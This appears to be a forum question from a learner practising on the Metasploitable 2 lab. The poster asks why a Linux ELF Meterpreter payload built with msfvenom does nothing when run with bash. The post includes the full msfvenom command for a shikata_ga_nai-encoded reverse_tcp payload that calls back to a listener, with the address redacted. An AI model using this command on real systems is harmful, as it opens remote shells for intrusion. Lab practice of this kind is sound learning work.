How to use msfvenom elf approach for metasploitable 2?
I am reading a book that teaches how to make a msfvenom executable for Windows. But I am learning on metasploitable 2. I really did not want to skip this section without understanding this. So I got 2 other books but they both also only teach Windows approach to this, searched the net and it seems I only found Windows exe ways. So I just started doing it myself. I did the following.
msfvenom -a x86 --platform linux -p linux/x86/meterpreter/reverse_tcp LHOST=xxx.xxx.xxx.xxx LPORT=xxxx -e x86/shikata_ga_nai -f elf -o test.elf
Then I gained a shell and did
Upload test.elf test.elf
Then I ran
bash test.elf on the machine and it did nothing
file test.elf and I got:
ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), statically linked, corrupted section header size
What am I doing wrong?